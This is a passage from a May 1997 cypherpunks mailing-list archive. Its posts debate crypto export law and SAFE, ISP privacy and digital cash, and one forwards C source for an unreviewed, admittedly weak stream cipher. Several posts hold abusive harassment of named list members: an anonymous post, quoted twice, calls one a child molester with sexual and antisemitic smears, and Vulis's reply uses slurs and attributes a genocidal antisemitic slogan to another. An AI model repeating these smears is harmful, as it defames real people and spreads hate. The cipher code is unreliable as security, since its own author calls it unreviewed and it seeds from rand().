almost-contraband). Stores seek information for marketing, for decisions on
placement of new stores (which is why zip codes are sometimes asked for),
etc.

"Identity is just another credential in a negotiation."

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From Service at iBase.net  Tue May  6 01:15:10 1997
From: Service at iBase.net (Service at iBase.net)
Date: Tue, 6 May 1997 01:15:10 -0700 (PDT)
Subject: Win up to $4,950.00 Instantly with Cyber Casino
Message-ID: <19970506015410391.AAC162@[206.244.171.171]>


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From frantz at communities.com  Mon May  5 10:24:04 1997
From: frantz at communities.com (Bill Frantz)
Date: Tue, 6 May 1997 01:24:04 +0800
Subject: Fast Cheap Unreviewed Stream Cipher
Message-ID: <3.0.32.19970505095357.006e9248@homer.communities.com>


I received this code from another friend.

Here's a FAST somewhat cryptographically secure pseudo-random generator
written by a friend of mine that wishes to remain anonymous.  He has given
permission for the following code to be placed in the public domain, and to
be sent to cypherpunks and others for review.  Alas, I have never gotten
around to doing so.  As it states, on a PowerPC it'll produce bits fast
enough to be a pseudo-one-time pad / stream cipher for good digitized video
on a LAN (the purpose for which he originally sent it to me) and hence
should do point-to-point audio without even breathing hard.

For those who haven't heard, the scenario is for point-to-point audio to
use an affordable (weak) stream cipher, but to be changing keys frequently
using our strongly secure SSL channel.  Each costly break would only
compromise a few seconds or so of audio.  The following code may serve as
the affordable (but maybe better than weak) stream cipher.


/******************************************************/
/**  (c) 1823 Millard Fillmore, all rights expired   **/
/**  Full words of pseudorandom bits at video speed  **/
/******************************************************/

#include 
#include 
#include 
#include 

#define WORD_SIZE 32

unsigned long shiftRand();
static void refillShiftRand();
void seedShiftRand(unsigned long seed);


static unsigned long shiftRandArray[31] = { };            // to hold
internal state values
static unsigned long * arrayPtr = shiftRandArray;         // incremented as
state values are consumed
static unsigned long * const end = shiftRandArray + 31;   // marks end (and
need to refill array)

// Initializes shiftRandArray to pseudorandom contents using a seed value
and the system rand function,
// which is assumed to produce 16 bits per call. Low rand bits are obscured
by xoring with high bits from other
// calls, and all product bits depend on two or more calls to rand. The
resulting values are themselves obscured,
// not simply revealed at the output, hence this is probably overkill. The
seed acts as a key.

void seedShiftRand(unsigned long seed) {
        srand(seed);
        long cyclesPerWord = ((WORD_SIZE + 7) >> 3) - 1; // will add a net
of 8 bits per call to rand
        unsigned long * arrPtr        = shiftRandArray;
        for (; arrPtr < end; arrPtr++) {
                unsigned long rand1 = rand();                // wrap this
value around word boundary:
                unsigned long element = (rand1 >> 8) | (rand1 << (WORD_SIZE
- 8));
                for (long i = 0; i < cyclesPerWord; i++) {
                        element ^= rand() << (8 * i);            //previous
8 high bits obscure 8 new low bits
                }
                *arrPtr = element;
        }
}

// Low-order bits in the following act as an xor-based linear feedback
shift register (with moving taps
// and stationary data); the repeat period equals (1 << 31) - 1.
Higher-order bits have similar
// "intrinsic" behavior, but the state of each is determined by additional
xoring with a sequence
// of carry bits from below, causing repeated period-doubling across the
width of the word.
//
//    The choice of 31 and 13 corresponds to a primitive polynomial mod 2;
Applied Cryptography has
// typos in polynomial coefficients, but the repeat period was tested
directly. This code avoids a
// shift-direction mistake in Applied Cryptography, and hence follows
Numerical Recipes.
//

static void refillShiftRand() {

        unsigned long  * tap0  = shiftRandArray + 0;
        unsigned long  * tap13 = shiftRandArray + 13;

        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13 = shiftRandArray;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;

        return;
}
//  sum at 10 million iterations = 1344076334


/*
// Slightly faster than the above on a 604, provided CodeWarrior's
instruction-scheduling "optimization" is OFF.

static void refillShiftRand() {

        unsigned long  * tap0a  = shiftRandArray + 0;
        unsigned long  * tap0b  = shiftRandArray + 1;  // uses more registers
        unsigned long  * tap13a = shiftRandArray + 13;
        unsigned long  * tap13b = shiftRandArray + 14;

        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a =  shiftRandArray;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b = (shiftRandArray +
1);
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;
        *tap0a = *tap0a + *tap13a;

        return;
}
//  sum at 10 million iterations = 1344076334
*/

// The array-filling mechanism above provides an information-conserving
mechanism for producing
// pseudorandom numbers with an effectively unlimited repeat period, fast,
but based on a large number of
// internal state bits, and having a bit of a given order eventually depend
on all bits of the same or
// lower order in all words in the array.
//    Rare, transient states having almost all zeros in the low bits will
show strong correlations,
// since the restoration of normal bit statistics will take several cycles.
(The all-zero state
// is inaccessible unless it is the starting condition -- one might test
for this.)  Correlations
// in the frequency of low-order zero bits in sequentially generated array
elements are eliminated
// in the output by xoring high bits with the low bits; adding a preceding
squaring operation
// adds the effect of making any given output consistent with a large
number of array element states,
// making inferences regarding the internal state of the system relatively
difficult.

inline unsigned long shiftRand() {

        ((arrayPtr == end) ?                     // '?:' instead of 'if' to
enable inlining by CW compiler
                  (refillShiftRand(),
                   arrayPtr = shiftRandArray,
                   0) : 0);
        unsigned long output = *arrayPtr++;
        unsigned long square = output * output;  // this multiplication
seems free on a 605
        return(square + (output >> (WORD_SIZE / 2)));
}

// With multiplication (above) and summing of output to prevent bogus
optimizations, 16.5 clocks per word.
// Test code for CodeWarrier environment.

void main () {

        SIOUXSettings.asktosaveonclose = FALSE;

        unsigned long sum = 0;
        seedShiftRand(12345);                    // easily guessed seed
        long start = clock();
        for (long i = 0; i < 2000000; i++) {
                sum += shiftRand();
                sum += shiftRand();
                sum += shiftRand();
                sum += shiftRand();
                sum += shiftRand();
        }
        unsigned long end = clock();
        printf("\n sum = %u", sum);
        printf("\n\n time = %d \n", (int)(1000.0 * ((float)(end - start) /
(float)CLOCKS_PER_SEC)));

}








From camcc at abraxis.com  Mon May  5 10:28:59 1997
From: camcc at abraxis.com (Alec)
Date: Tue, 6 May 1997 01:28:59 +0800
Subject: (Fwd) Extropia dead
Message-ID: <3.0.1.32.19970505130927.007b6e60@smtp1.abraxis.com>


>Mailing-List: contact pgp-users-help at joshua.rivertown.net; run by ezmlm
>Reply-To: pgp-users at joshua.rivertown.net
>Comments: Authenticated sender is 
>From: "Fred B. Ringel" 
>Organization: Rivertown.Net
>To: pgp-users at joshua.rivertown.net
>Date: Mon, 5 May 1997 12:52:57 -0500
>Subject: (Fwd) Extropia dead
>Priority: normal
>
>Hi all-
>
>	Thought I'd pass this *bad* news along. :-((
>
>		Fred
>------------------------------------------
>Date: Mon, 5 May 1997 00:39:36 -0700 (PDT)
>From: Miron 
>
>Due to best.com (Best Internet) policies
>remail at miron.vip.best.com has been shut down.
>You will only received one notice.






From nobody at REPLAY.COM  Mon May  5 10:31:13 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 6 May 1997 01:31:13 +0800
Subject: Firewalls
Message-ID: <199705051712.TAA17277@basement.replay.com>


Date: Sun, 4 May 1997
From: Graham-John Bullers 
Subject: Re: Firewalls
Sender: owner-cypherpunks at cyberpass.net
Reply-To: Graham-John Bullers 

On Sun, 4 May 1997, Anonymous wrote:

Vulis does you wife no you write this?

> Timmy Mayo the self-admitted child molester 
> possesses a rudimentary dick less than one 
> inch long, half the size of Graham-John Bullers' 
> clitoris, that barely makes a fistful. Thereby 
> hangs the root of this Jew-hating sissy's sick 
> fixation on little boys and Usenet forgeries.
> 
>          \|||/
>          (o o)
>      -ooO-(_)-Ooo- Timmy Mayo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From root at fatmans.demon.co.uk  Mon May  5 10:34:33 1997
From: root at fatmans.demon.co.uk (root)
Date: Tue, 6 May 1997 01:34:33 +0800
Subject: XS4ALL censored pages (fwd)
Message-ID: 



As we guessed XS4ALL don`t even have the guts to send us a copy of the 
pages they censored. Check this out...


>Dear Paul,

>>Postmaster,
>>
>>Please send me a copy of your current pricing for web space.
>>
>>Also, please send me a copy of the marajuana pages you recently removed 
>>from your web server.
>
>Hearby you recieve information about all services from xs4all.
>
>We don't know anything about marajuana pages so we can't send you a copy of
>that.
>
>Kind regards,
>




>XS4ALL Internet B.V.               Sales  afdeling:
>Postbus 1848                       Email: sales at xs4all.nl
>1000 BV Amsterdam                  Http://www.xs4all.nl/business
>         
>Tel: 020-6222885                   Fax: 020-5352002
>Ma. t/m vrij.			        van 12.00u tot 20.00u






From hua at chromatic.com  Mon May  5 11:14:09 1997
From: hua at chromatic.com (Ernest Hua)
Date: Tue, 6 May 1997 02:14:09 +0800
Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705030048.TAA15456@mailhub.amaranth.com>
Message-ID: <199705051749.KAA19491@krypton.chromatic.com>



> > And I don't understand why you did not respond to this point when
> > I brought it up earlier.  This area is MOST CERTAINLY NOT free of
> > legislation.  Have you tried to openly export a IDEA- or
> > 3DES-based non-key-recovery (real commercial) product lately?
> > Have you set up an open, publically announced FTP site where
> > anyone can freely fetch strong encryption sources?  If not, then
> > explain why, if there is no legislation on this matter, couldn't
> > you do it?
>
> Well I can't speak for Tim's actions in this area but I can say that
> I have made strong crypto available for download via the INet. And I
> ahev openly announced that I have made such available on numerious
> newsgroups and mailing lists.
>
> http://www.amaranth.com/~whgiii/pgpmr2.html

Ok.  I'll give you a brownie point for an FTP site.  I honestly don't
think the NSA has time to go after a few, small-time, non-commercial
FTP sites, and I don't believe site maintainers like you have much to
lose on this matter.  The NSA is not as dumb as the Scientologists on
fighting a handful of individuals on the Net (most of whom can easily
get any job they want in the high tech industry, including charging
>$100 per hour consulting, so the NSA has almost no leverage, and the
backlash is even worse).

On the other hand, SGI, Sun, HP, IBM, AT&T, etc. have much more to
lose than you do.  They have huge government contracts (which they
coincidentally announced very soon after they signed up for the
key-recovery initiative), which the NSA can threaten.  They have other
export licenses (non-encryption-related) they need.

> There is no legislation on this matter only an unconstitutional
> presidental order.

Well, I'm not going to get technical here on just what is in effect.

A presidential order is often as good as a hard legislation.  In this
case, it is just as good.  And it's not just encryption.  Look at what
happened to SGI when several supercomputers were discovered to have
gone to China?  Again, it's just an execute order, not hard
legislation.  (And there are good reasons for giving the executive
branch executive priviledge, as there is no reason to micromanage
other branches of the government unless there is a serious issue.)
And this is what the administration argued for before enough
legislators thought it was a serious issue.

My conclusion on the issue of whether or not there is legislation on
this matter, is yes.  Is it technically a bill which passed congress?
No.  Is it some rule that some branch of government can use to harass
you?  Yes.  That's effective enough for me (in fact, it's worse,
because it is "more arbitrary").

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua at chromatic.com







From usura at replay.com  Mon May  5 11:22:25 1997
From: usura at replay.com (Alex de Joode)
Date: Tue, 6 May 1997 02:22:25 +0800
Subject: Rape, death and XS4ALL
Message-ID: <199705051650.SAA14830@basement.replay.com>


Paul Bradley sez:

: > Perhaps we should further expose XS4ALL's hypocricy by renting from the
: > web space and putting up some pages they won't like.

: I think this is an excellent idea, I`ll call or mail them in a few days 
: to find out their pricing structure.

30 Guilders a month (approx 17 USD a month)

you get 5mb for your homepage.
 
--
 -aj-






From tcmay at got.net  Mon May  5 11:27:54 1997
From: tcmay at got.net (Tim May)
Date: Tue, 6 May 1997 02:27:54 +0800
Subject: Rejecting Dialog with Government Vermin
In-Reply-To: <19970502085056.16118@bywater.songbird.com>
Message-ID: 


At 11:25 PM -0800 5/4/97, Kent Crispin wrote:
>On Mon, May 05, 1997 at 12:31:12AM -0500, snow wrote:
>> Kent Crispin wrote:
>> > AP? You apparently don't have direct knowledge of this, but after a
>> > certain level of economic security has been reached economics becomes
>> > a much less important as a motivator [Maslow].
>>
>> 	Bullshit:
>>
>> 	Donald Trump. Leona Helmsley, The Kennedy Clan, etc.
>>
>> 	I would say that with economics, the _more_ you have the more
>> it motivates your life.
>
>And of course, Tim May, and John Gillmore.

Indeed, Maslow's hierarchy of needs is very much in line with what I see
all around me (and with Nietzsche's "will to power," of course).

The fact that I have spent many hours a day for almost 5 years on this and
related mailing lists, for which I've received not a dime of financial
benefit, ought to make clear that some things are more important than
making more money.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From dlv at bwalk.dm.com  Mon May  5 11:38:08 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 6 May 1997 02:38:08 +0800
Subject: Insults about C2Net
In-Reply-To: 
Message-ID: <4sR96D11w165w@bwalk.dm.com>


Tim May  writes:

> At 10:22 PM -0800 5/4/97, Alan Olsen wrote:
>
> >I really knew what specific actions caused people to have such a NASTY
> >opinion of C2net.

As if he forgot...

> This is an easy one. The only continuing insults I see come from Vulis.

How would you know, old fart?  You've announced that you killfile me and
a dozen other people who know C2Net for what they are.  Therefore you
can't "see" anything coming from me, unless you're lying again.

> But the C2Net flap is behind us.

Yeah, right.  That's coming from the same individual who didn't object
to C2Net's "moderation" of this mailing list when Cocksucker John Gilmore
announced it, and who also supported Cocksucker John Gilmore's forcibly
unsubscribing me from the mailing list by repeating his lies about
the "volume", not the "contents" of my writings that got my plug pulled,
alluding to the bogus numbers like "50 articles / day" and "megabytes
of Serdar Argic reposts [about the genocide of 2 million Moslems and
Sephardic Jews by the Armenians]".

Timmy, you're a liar.

> As for stores asking for personal info, this is unsurprising. Fortunately,
> one can always refuse to give it, or lie, or just shrug. No laws yet demand
> this information be given (except for sales of guns and other such
> almost-contraband). Stores seek information for marketing, for decisions on
> placement of new stores (which is why zip codes are sometimes asked for),
> etc.

If the Arab terrorist Sameer "Gas All Kikes" Parekh and his obsequitous
lackeys Greg Broils and Sandy Sandfart and their NSA bosses had it their
way, you'd have to show your Federal ID card every time you pay cash and
also record the serial numbers on the notes. (I understand that recording
the serial numbers is the standard practice in some countries.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From hua at chromatic.com  Mon May  5 12:06:06 1997
From: hua at chromatic.com (Ernest Hua)
Date: Tue, 6 May 1997 03:06:06 +0800
Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: 
Message-ID: <199705051842.LAA21649@krypton.chromatic.com>



> > In short, they can get what they want instantly, while we cannot
> > except through a long and arduous process (during which they can
> > throw many procedural and lobbying obstacles to slow us down).
> > The process is clearly in THEIR favor (and not without good
> > reason), and we must face that fact.
>
> Yes, and they keep throwing out new proposals (Clipper I, II, and
> III, Key Recovery Initiative, Trusted Third Parties, blah blah).
> [SNIP]
> They can generate laws far faster than we can mount
> political counter-efforts
> [SNIP]

Yup.  But again, they are given that priviledge for good reasons, one
of which is that they are supposedly the "experts", whatever that
means.

> It's hopeless to fight them on their own turf, as they hold most of
> the cards (and we paid for them).

Amen.

> > It takes just one Om Shinri Kyo (sp?) in any nation to convince
> > its leaders to pass knee-jerk panic legislation in the name of
> > security, and it's the fault of politics at the beck and call of
> > human nature (not just stupid politicians).
>
> And this will happen regardless of whether SAFE passes or not. As
> several of us have pointed out, SAFE contains prominently mentioned
> provisions for the stoppage of crypto exports (and maybe even
> domestic distribution) should terrorism or military diversions be
> [SNIP]

I think this really depends upon how the "terrorism" cause is
determined.  If it is the arbitrary decision of the executive branch
alone, then we have to question why the Clinton administration still
believes we are under such imminent threat, and how this is different
from the critieria being imposed by the SAFE provisions.

> [SNIP]
> weeks. Had the World Trade Center bombs succeeded (in bringing down
> one of the towers), this would have done it. When freedom fighters
> ultimately succeed in, say, killing 5000 Londoners in a Sarin or
> Ricin attack in the Tube, expect dramatic moves in all Western
> nations to sharply curtail civil liberties.

I think we violently agree here, except for one-sided terminologies
like "freedom fighters" or "terrorists".

> There is no hope that legal measures can maintain liberty. Only
> technological bypasses of the State can succeed.

However, here is where we don't necessarily agree.  Laws are around to
allow some "civilized" co-existance, where "civilized" is defined by
the basic rights and liberties of members of that society.  It is
important to follow laws for what they are intended to do.  It is
important to have a viable process for questioning and revising laws
which do not have desired intent or effective control.  It is also bad
to have laws which do not clearly define what they restrict, and it is
here which I, and many others, do not like ITAR.

I don't buy the burden of multiple export version argument because
most software exports HAVE to have multiple export versions for other
reasons such as language, cultural considerations, etc ...

I don't completely like the first amendment argument because it is
solely based on claiming that software is, first and foremost,
expression.  In fact, software has mechanism and side effect of
mechanism.  If software were strictly expression, it is hard to
imagine how a multi-billion industry could have spawned from such an
inert practice.  Another example: one could argue that crafting an
grenade launcher is artistic expression, but surely few would consider
THAT argument when faced with such an "expressive" neighbor.  The
point here is that software, by itself, could never have the imminent
danger that a grenade launcher could have.  Therefore, it should be
incumbent upon the export regulators to prove that the software poses
imminent danger before they should be allowed to regulate export.

In that sense, I have no problems with restricting, for instance,
software which is specifically designed to, say, hide the transport of
nuclear weapons.  Of course, I have no idea how one could design a
piece of software to do that, but IF the DoC/DoD/NSA/FBI can prove
that a piece of software was designed primarily to do that, then I'll
be happy to allow them to restrict the export of THAT specific piece
of software.

On the other hand, most software, especially those that fall into the
freeware or shareware category on the Net, have proven to be of
significant positive contribution to society.  Encryption is a
fundamental element (not the only element) in protecting our Net.  In
addition, equivalent strength or better encryption is already
available outside the U.S., so the laws do not have any real effect on
the general spread of encryption, unless of course, we have any
legitimate interest in deliberately crippling the protection
mechanisms in GII.  If there is, it would have to be a one-sided and
government-only interest (and I know that these arguments are based on
outdated Cold War thinking).  Therefore, I must conclude that, while
there may have been reasons in the past for restricting encryption
export, it is no longer net positive value for the U.S., as a nation,
to restrict its export.

This is why I don't care if SAFE explicitly declares that using
encryption to hide a crime is illegal (though I don't see the need for
an explicit declaration).  As long as SAFE invalidates ITAR with
respect to encryption, then Americans no longer have to prove that
encryption exports are being used for "bad" purposes; now it is up to
law enforcement to prove that an export is being used for "bad"
purposes.

While that may sound like a small gain, it is a huge win for
encryption liberty.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua at chromatic.com







From youtoocanmake at lotsof.money  Tue May  6 03:19:35 1997
From: youtoocanmake at lotsof.money (youtoocanmake at lotsof.money)
Date: Tue, 6 May 1997 03:19:35 -0700 (PDT)
Subject: Read about this NEW income making opportunity!
Message-ID: <548638572264.SWT46523@nhdtytgb.com>


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From real at freenet.edmonton.ab.ca  Mon May  5 12:21:53 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 6 May 1997 03:21:53 +0800
Subject: Firewalls
In-Reply-To: <199705051712.TAA17277@basement.replay.com>
Message-ID: 


On Mon, 5 May 1997, Anonymous wrote:

> On Sun, 4 May 1997, Anonymous wrote:

Vulis does your wife,no you write this?

> Vulis does you wife no you write this?
> 
> > Timmy Mayo the self-admitted child molester 
> > possesses a rudimentary dick less than one 
> > inch long, half the size of Graham-John Bullers' 
> > clitoris, that barely makes a fistful. Thereby 
> > hangs the root of this Jew-hating sissy's sick 
> > fixation on little boys and Usenet forgeries.
> > 
> >          \|||/
> >          (o o)
> >      -ooO-(_)-Ooo- Timmy Mayo
> > 
> 






From sunder at brainlink.com  Mon May  5 12:39:32 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 6 May 1997 03:39:32 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: 


On Sun, 4 May 1997, Hal Finney wrote:

> Presumably records are kept to protect against various risks.  Without
> that protection, you need other means to control the risk.  But if those
> means exist and they are cheaper than record-keeping, then again even
> without anonymity it should be cheaper to use those methods in place of
> the records.

Records are kept for (a) tax compliance, (b) as a way of further 
marketting spam that tracks usage/purchase patterns.  Presumably the 
marketting weasels require this info because of their belief that doing 
so will increase sales in the long run.

> (One possible explanation is that it would be a regulatory effect.
> People are forced by the government to keep records, to their detriment,
> that they would prefer not to keep.  With anonymous bearer certificates
> it would not be possible to keep the records so people might hope to
> escape the regulations.  However the problem with this reasoning is that
> the same forces which require the record-keeping would be likely to ban
> the use of instruments which prevent keeping records.)

I'd predict that in such cases mom & pop candy stores and small grocery 
stores wouldn't bother with record keeping, while big huge stores with 
marketting spam budgets would.

Though all things considered some record keeping is needed for inventory 
tracking, employee pay, etc.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From hua at chromatic.com  Mon May  5 12:43:22 1997
From: hua at chromatic.com (Ernest Hua)
Date: Tue, 6 May 1997 03:43:22 +0800
Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705032005.NAA29515@mail.pacifier.com>
Message-ID: <199705051911.MAA21827@krypton.chromatic.com>



> > The NSA/FBI is NOT standing still while we are all bickering about
> > precisely which dotted-i and crossed-t to support.  They can, at
> > the stroke of Clinton's executive order pen, initiate effectively
> > THEIR law, while we must gather forces and summon Congress to jump
> > through enough hoops to pass effective legislation.
> >
> > In short, they can get what they want instantly, while we cannot
> > except through a long and arduous process (during which they can
> > throw many procedural and lobbying obstacles to slow us down).
> > The process is clearly in THEIR favor (and not without good
> > reason), and we must face that fact.
>
> Then let's force them to take that step, which (BTW) they haven't

Well, which "step" are you referring to?  The Clinton administration
is quite skilled at PR, and their intent is to project the image of
"middle of the road" and "balanced".  Of course, those are meaningless
words, but they sound real good in the context of the opponents being
painted as extremists.  For instance, take a look at the words which
the administration's appointee's use.  Bruce Lehman, et al have all
liken their opponents to David Koresh and other groups considered to
be extreme by the general public.

So far, the only high-profile "steps" they have taken is to put out
more Clipper-esque execute orders and call them "compromises".  These
are just maneuvers, but they still are effective executive orders,
none the less.

> done already.  They are well aware of the highly questionable
> constitutional nature of such a system, and I'm sure they're

That is why they back off prosecuting Zimmerman.  I don think they saw
a lose-lose scenario there, and decided it was better to leave the law
ambiguous rather than let it become well-defined, in the best case.

> worrying that not only would such an executive order galvanize
> opposition to such a plan, it would also delay for a year or two the

Ok, so are you saying that they did not make a totally one-sided
executive order without consulting ANYONE?  Sure, I agree that they
did not do that.  However, that would be silly, as it would not appear
convincing when they claim "middle of the road".

In fact, they still got what they wanted anyway (except for the
arbitrary key recovery which the NSA can do with the Clipper).  The
point here is that Joe-Small-Town sheriff needs the cost/speed/stealth
requirements of applying two aligator clips to get a wire tap, and
they got it.

> perceived "need" for the legislation they currently (and secretly)
> seek.  By the time the executive order is overturned by the SC,
> it'll be too late to restore it as Congressional legislation.

Yes, this is the point of the PR.  Keep the opposition from having a
major rallying point.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua at chromatic.com







From lharrison at mhv.net  Mon May  5 12:45:44 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Tue, 6 May 1997 03:45:44 +0800
Subject: ISP fighting gov't on privacy issue
Message-ID: <3.0.1.32.19970505151732.006afb04@pop.mhv.net>


-----BEGIN PGP SIGNED MESSAGE-----

[From: CNET NEWS.COM]
 
ISP battles for rebels' rights
By Janet Kornblum [May 2, 1997, 12:45 p.m. PT] 

Todd Jagger, owner of what he calls the "world's smallest" Internet service
provider, doesn't like the secessionist Republic of Texas rebels. But he has
sued the state attorney general to protect their privacy.

The state attorney general's office, seeking to gain information about the
rebels, asked to see the records of ten Texas ISPs. Requested items included
copies of email and logs of Web site visitors for several groups calling for
Texas to split off from the United States.
.... 

See: http://www.news.com/News/Item/0%2C4%2C10327%2C00.html?nd


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM24yMT5A4+Z4Wnt9AQFVvgP/cUAjpVYWsoNGvqMsX4vaSnAzL3ZhtOFI
0TcBnIOqvOjIJQ+G7ecBPkA+z/4lSA2r5Ed01/Yiau4a9a/A4KcT8a6jWVN4uimB
Ll2QSYgrAD9xx0SWLpfGfQsjUJrlsGYsuJ6SiL/rfCCpNKpaD7hXwU0JtwrFdJLp
C6HQaHBrY3c=
=iCkV
-----END PGP SIGNATURE-----






From tcmay at got.net  Mon May  5 13:29:11 1997
From: tcmay at got.net (Tim May)
Date: Tue, 6 May 1997 04:29:11 +0800
Subject: Terrorists or Freedom Fighters or Rebels?
In-Reply-To: 
Message-ID: 


At 10:42 AM -0800 5/5/97, Ernest Hua wrote:

>> weeks. Had the World Trade Center bombs succeeded (in bringing down
>> one of the towers), this would have done it. When freedom fighters
